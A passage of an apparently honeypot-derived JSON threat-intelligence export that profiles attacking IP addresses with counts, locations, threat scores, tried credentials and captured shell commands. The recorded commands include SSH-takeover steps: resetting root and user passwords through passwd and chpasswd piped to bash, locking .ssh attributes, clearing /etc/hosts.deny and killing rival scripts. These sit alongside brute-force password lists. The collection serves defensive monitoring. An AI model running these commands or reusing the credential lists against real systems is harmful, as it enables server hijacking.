      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5845,
        "Suricata": 3224
      }
    },
    "209.38.81.171": {
      "attack_count": 770,
      "first_seen": "2026-03-07T21:14:58.425Z",
      "last_seen": "2026-03-08T00:12:54.885Z",
      "sessions": 152,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "gerrit",
        "git",
        "hadoop",
        "mysql",
        "oracle",
        "postgres",
        "test",
        "zabbix",
        "www"
      ],
      "passwords_attempted": [
        "1",
        "12",
        "123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "1234567890",
        "passw0rd",
        "password",
        "admin",
        "gerrit",
        "git",
        "hadoop",
        "mysql",
        "oracle",
        "postgres",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 1109,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T21:14:58.425000+00:00",
        "last_seen_30d": "2026-03-08T00:14:01.133000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 770,
        "Suricata": 339
      }
    },
    "193.123.245.198": {
      "attack_count": 661,
      "first_seen": "2026-03-12T07:39:14.300Z",
      "last_seen": "2026-03-20T20:53:05.777Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "emo",
        "n8n",
        "pro",
        "upload",
        "yuhan",
        "admin",
        "ari",
        "ark",
        "exx",
        "farhan",
        "grid",
        "hassan",
        "jeus",
        "kernel",
        "kevin",
        "kusanagi",
        "lekaren",
        "mc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123456",
        "password",
        "1234!qwer",
        "12345678",
        "Itsemoemo2025@Washere2025",
        "Pro123!",
        "Prod",
        "Qq123456789",
        "Qwerty123!@#",
        "Root2026",
        "Sara123",
        "Solr123",
        "Spawner123",
        "Usuarioftp123",
        "ariari",
        "arkserver"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1234\\niAn1lmvgGd9n\\niAn1lmvgGd9n\\n\"|passwd",
        "echo \"Itsemoemo2025@Washere2025\\nlhtdBff3Eglm\\nlhtdBff3Eglm\\n\"|passwd",
        "echo \"Pro123!\\nsEDyEMGiSbyg\\nsEDyEMGiSbyg\\n\"|passwd",
        "echo \"n8n\\nKybgZuHNTCVt\\nKybgZuHNTCVt\\n\"|passwd",
        "echo \"root:WSFBY3Hzq8dT\"|chpasswd|bash",
        "echo \"root:WqZGuVj1EPRa\"|chpasswd|bash",
        "echo \"yuhan1234\\nom6YxZMIr8ld\\nom6YxZMIr8ld\\n\"|passwd",
        "echo -e \"1234\\niAn1lmvgGd9n\\niAn1lmvgGd9n\"|passwd|bash",
        "echo -e \"Itsemoemo2025@Washere2025\\nlhtdBff3Eglm\\nlhtdBff3Eglm\"|passwd|bash",
        "echo -e \"Pro123!\\nsEDyEMGiSbyg\\nsEDyEMGiSbyg\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 30.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.9,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 774,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T07:39:14.300000+00:00",
        "last_seen_30d": "2026-03-20T20:54:11.789000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 661,
        "Suricata": 113
      }
    },
    "222.110.147.56": {
      "attack_count": 484,
      "first_seen": "2026-03-11T04:32:56.454Z",
      "last_seen": "2026-03-31T03:50:20.806Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "teamcity",
        "vm",
        "ashish",
        "chrism",
        "clawd",
        "comp",
        "deamon",
        "devman",
        "l",
        "mostafa",
        "ocs",
        "user01",
        "user1",
        "vendas",
        "web",
        "wialon",
        "wikijs",
        "wpuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "password",
        "123",
        "1234",
        "123QWEqwe123",
        "12qw",
        "2410",
        "Admin!!11",
        "Admin17",
        "Admin@2026",
        "Bb@147258",
        "Devman123",
        "Linux@12345",
        "Nl123456",
        "P@ssw0rd!@#$%^",
        "P@ssword123456",
        "PassW0rd2024",
        "Pedro123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123456\\n6YYS2zXUp3Fo\\n6YYS2zXUp3Fo\\n\"|passwd",
        "echo \"password\\nrR7OrxPmk6ov\\nrR7OrxPmk6ov\\n\"|passwd",
        "echo \"root:JYw0vaEfJTvR\"|chpasswd|bash",
        "echo \"root:r97K8Xr8Mphs\"|chpasswd|bash",
        "echo -e \"123456\\n6YYS2zXUp3Fo\\n6YYS2zXUp3Fo\"|passwd|bash",
        "echo -e \"password\\nrR7OrxPmk6ov\\nrR7OrxPmk6ov\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongsan-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 57.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.8,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 604,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T04:32:56.454000+00:00",
        "last_seen_30d": "2026-03-31T03:51:30.931000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 484,
        "Suricata": 120
      }
    },
    "179.48.54.162": {
      "attack_count": 422,
      "first_seen": "2026-03-17T23:44:32.329Z",
      "last_seen": "2026-03-30T20:11:29.004Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "rramirez",
        "cardano",
        "ftptest",
        "grid",
        "leo",
        "ll",
        "llm",
        "node",
        "test001",
        "ubuntuuser"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "!QAZwsx2",
        "12root",
        "147147",
        "1fdg&wfmk",
        "Cc123123",
        "Ma@123456789",
        "Master2024",
        "P@$$w0rd@2026",
        "Welcome!",
        "abc123,./",
        "cardano123!",
        "erik",
        "flamengo",
        "gridpass",
        "kenji",
        "m123456789"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "uname",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"12345678\\nSz1c4ax0hsQm\\nSz1c4ax0hsQm\\n\"|passwd",
        "echo \"12345678\\ndJycn4bYns5p\\ndJycn4bYns5p\\n\"|passwd",
        "echo \"root:2BI9JrtAKgjQ\"|chpasswd|bash",
        "echo \"root:Og2PrTQj4IGX\"|chpasswd|bash",
        "echo -e \"12345678\\nSz1c4ax0hsQm\\nSz1c4ax0hsQm\"|passwd|bash",
        "echo -e \"12345678\\ndJycn4bYns5p\\ndJycn4bYns5p\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Santiago de Surco",
      "asn": 270082,
      "as_org": "IWAY TELECOM SOCIEDAD ANONIMA CERRADA",
      "threat_score": 49.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 517,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T23:44:32.329000+00:00",
        "last_seen_30d": "2026-03-30T20:12:36.525000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 422,
        "Suricata": 95
      }
    },
    "121.168.139.251": {
      "attack_count": 400,
      "first_seen": "2026-03-15T20:01:04.440Z",
      "last_seen": "2026-03-23T19:44:39.229Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "azureuser",
        "simeon",
        "training",
        "aaron",
        "cron",
        "django",
        "ehsan",
        "esadmin",
        "jonas",
        "jupiter",
        "ken",
        "luca",
        "magento",
        "marcelo",
        "mario",
        "mob",
        "onlyoffice",
        "rancher"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "123456",
        "1234",
        "A123456.",
        "A@123456",
        "Esadmin123!",
        "Password1234",
        "django",
        "ehsan123!",
        "ken",
        "kevin123",
        "lucaluca",
        "mariomario",
        "rancher@123456",
        "server2025",
        "tiger"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nFuWYmfjOyX5v\\nFuWYmfjOyX5v\\n\"|passwd",
        "echo \"12345\\nP6aWTlvMBIow\\nP6aWTlvMBIow\\n\"|passwd",
        "echo \"Password1234\\nl4FIbducSBS9\\nl4FIbducSBS9\\n\"|passwd",
        "echo \"root:d2IZgro1MaNM\"|chpasswd|bash",
        "echo -e \"12345678\\nFuWYmfjOyX5v\\nFuWYmfjOyX5v\"|passwd|bash",
        "echo -e \"12345\\nP6aWTlvMBIow\\nP6aWTlvMBIow\"|passwd|bash",
        "echo -e \"Password1234\\nl4FIbducSBS9\\nl4FIbducSBS9\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongin-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 33.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 476,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T20:01:04.440000+00:00",
        "last_seen_30d": "2026-03-23T19:45:40.534000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 400,
        "Suricata": 76
      }
    },
    "156.225.18.240": {
      "attack_count": 381,
      "first_seen": "2026-03-11T10:15:33.696Z",
      "last_seen": "2026-03-15T21:36:19.091Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "jirka",
        "km",
        "n8n",
        "user3",
        "7days",
        "User",
        "administrador",
        "auser",
        "bhavesh",
        "caja",
        "karim",
        "odoo",
        "prova",
        "sammy",
        "teamspeak",
        "user02",
        "vas"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345",
        "2025",
        "Aa123456!@#",
        "Karim123!",
        "Km123",
        "Pi@12345678",
        "Sammy123!",
        "User02123!",
        "Vas123!",
        "administrador1234",
        "auser",
        "bhavesh123",
        "caja1234",
        "jirka",
        "lala123",
        "n8n",
        "password"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Km123\\n78QBwLiLJ3wn\\n78QBwLiLJ3wn\\n\"|passwd",
        "echo \"jirka\\nLA5QEjKK71gD\\nLA5QEjKK71gD\\n\"|passwd",
        "echo \"n8n\\njmF3dzNKW1Xa\\njmF3dzNKW1Xa\\n\"|passwd",
        "echo \"user3\\n421IY1asgrkf\\n421IY1asgrkf\\n\"|passwd",
        "echo -e \"Km123\\n78QBwLiLJ3wn\\n78QBwLiLJ3wn\"|passwd|bash",
        "echo -e \"jirka\\nLA5QEjKK71gD\\nLA5QEjKK71gD\"|passwd|bash",
        "echo -e \"n8n\\njmF3dzNKW1Xa\\njmF3dzNKW1Xa\"|passwd|bash",
        "echo -e \"user3\\n421IY1asgrkf\\n421IY1asgrkf\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 401696,
      "as_org": "cognetcloud INC",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.5,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 447,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T10:15:33.696000+00:00",
        "last_seen_30d": "2026-03-15T21:37:27.963000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 381,
        "Suricata": 66
      }
    },
    "36.50.177.119": {
      "attack_count": 368,
      "first_seen": "2026-03-05T00:12:04.296Z",
      "last_seen": "2026-03-31T07:31:22.153Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0216",
        "123456jkl",
        "1234@Abc",
        "Abc123##",
        "Abcd!234",
        "Admin@1234",
        "Asdf@1234",
        "QWEasd@123",
        "Qwer123.",
        "Qwer123456789",
        "Secure@2025",
        "Server#1234",
        "Wk123456",
        "Zf123456@",
        "abcdABCD1234",
        "admin!234",
        "admin$123",
        "aqwzsxedc"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:95kuVNnvBYdG\"|chpasswd|bash",
        "echo \"root:XRU6wyK9R8LN\"|chpasswd|bash",
        "echo \"root:x82S8h81BbYz\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
      "threat_score": 61.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.6,
        "persistence": 22.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 459,
        "days_active_30d": 27,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T00:12:04.296000+00:00",
        "last_seen_30d": "2026-03-31T07:32:31.794000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 368,
        "Suricata": 91
      }
    },
    "156.236.75.188": {
      "attack_count": 367,
      "first_seen": "2026-03-06T10:11:37.755Z",
      "last_seen": "2026-03-25T00:13:08.048Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "student4",
        "testing",
        "zomboid",
        "adminer",
        "aman",
        "app",
        "boom",
        "cardano",
        "dspace",
        "es",
        "escaner",
        "hduser",
        "jitendra",
        "julian",
        "mailtest",
        "michele",
        "modify",
        "nexus"
      ],
      "passwords_attempted": [
        "password",
        "12345",
        "123",
        "1234",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "@qwer2024",
        "@qwer2025",
        "Nodejs123",
        "Password@1",
        "adminer",
        "app123!",
        "dspace123!",
        "jitendrapass",
        "modify123!",
        "proradis1234",
        "t5r4e3w2q1",
        "yann1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\nXknBLlJQHcbJ\\nXknBLlJQHcbJ\\n\"|passwd",
        "echo \"password\\n9A3cZ9bSYOng\\n9A3cZ9bSYOng\\n\"|passwd",
        "echo \"zomboid1234\\n2VxjzAVBSdMi\\n2VxjzAVBSdMi\\n\"|passwd",
        "echo -e \"12345678\\nXknBLlJQHcbJ\\nXknBLlJQHcbJ\"|passwd|bash",
        "echo -e \"password\\n9A3cZ9bSYOng\\n9A3cZ9bSYOng\"|passwd|bash",
        "echo -e \"zomboid1234\\n2VxjzAVBSdMi\\n2VxjzAVBSdMi\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 44.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.6,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 456,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-06T10:11:37.755000+00:00",
        "last_seen_30d": "2026-03-25T00:14:14.991000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 367,
        "Suricata": 89
      }
    },
    "103.217.144.113": {
      "attack_count": 356,
      "first_seen": "2026-03-08T12:22:26.679Z",
      "last_seen": "2026-03-28T13:26:23.045Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "edward",
        "sistemas",
        "samba",
        "term2",
        "vadim",
        "vicente",
        "zjm"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123QWEasdzxc",
        "123qwe,.",
        "123root123",
        "1qaz@WSX2wsx",
        "Admin123#",
        "Avcon@202533!",
        "Doggie",
        "Ff123456.",
        "Gb123456@",
        "Nc123456@",
        "P4ssw0rd2026",
        "QAZ2WSX",
        "Term2123!",
        "Tk@123456",
        "Zjm123!",
        "asd1234",
        "cde3xsw2zaq1",
        "edward1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"edward1234\\nZb3zerK19hRJ\\nZb3zerK19hRJ\\n\"|passwd",
        "echo \"root:4gh7E6rYEzS9\"|chpasswd|bash",
        "echo \"sistemas\\nM3HR7IKuNnYz\\nM3HR7IKuNnYz\\n\"|passwd",
        "echo -e \"edward1234\\nZb3zerK19hRJ\\nZb3zerK19hRJ\"|passwd|bash",
        "echo -e \"sistemas\\nM3HR7IKuNnYz\\nM3HR7IKuNnYz\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 50.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.6,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 453,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T12:22:26.679000+00:00",
        "last_seen_30d": "2026-03-28T13:27:24.261000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 356,
        "Suricata": 97
      }
    },
    "188.132.197.124": {
      "attack_count": 325,
      "first_seen": "2026-03-05T18:13:43.111Z",
      "last_seen": "2026-03-05T18:41:12.617Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "kyle",
        "linux",
        "temp",
        "abe",
        "rose",
        "student1",
        "testmail",
        "viper"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "2wsx!QAZ",
        "Abc12345",
        "rose123",
        "student1123!",
        "testmail123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nFhNPQarRaVcw\\nFhNPQarRaVcw\\n\"|passwd",
        "echo \"123456\\n63F0nzfBvlZ8\\n63F0nzfBvlZ8\\n\"|passwd",
        "echo \"123\\nHoARnHcPTs1g\\nHoARnHcPTs1g\\n\"|passwd",
        "echo \"root:kRrmoOI3Em4H\"|chpasswd|bash",
        "echo -e \"12345678\\nFhNPQarRaVcw\\nFhNPQarRaVcw\"|passwd|bash",
        "echo -e \"123456\\n63F0nzfBvlZ8\\n63F0nzfBvlZ8\"|passwd|bash",
        "echo -e \"123\\nHoARnHcPTs1g\\nHoARnHcPTs1g\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
